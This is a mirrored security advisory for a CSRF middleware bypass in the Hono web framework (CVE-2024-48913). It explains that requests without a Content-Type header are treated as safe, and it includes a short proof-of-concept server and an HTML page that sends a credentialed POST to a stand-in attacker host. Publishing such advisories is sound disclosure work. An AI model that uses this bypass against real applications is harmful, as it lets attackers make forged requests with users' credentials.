Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS0yMjM0LWZtdzctNDN3cs4ABARc
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
Permalink: https://github.com/advisories/GHSA-2234-fmw7-43wrJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yMjM0LWZtdzctNDN3cs4ABARc
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 month ago
Updated: 14 days ago
CVSS Score: 5.9
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
Identifiers: GHSA-2234-fmw7-43wr, CVE-2024-48913
References:
- https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr
- https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82
- https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
- https://nvd.nist.gov/vuln/detail/CVE-2024-48913
- https://github.com/advisories/GHSA-2234-fmw7-43wr
Blast Radius: 16.7
Affected Packages
npm:hono
Dependent packages: 210Dependent repositories: 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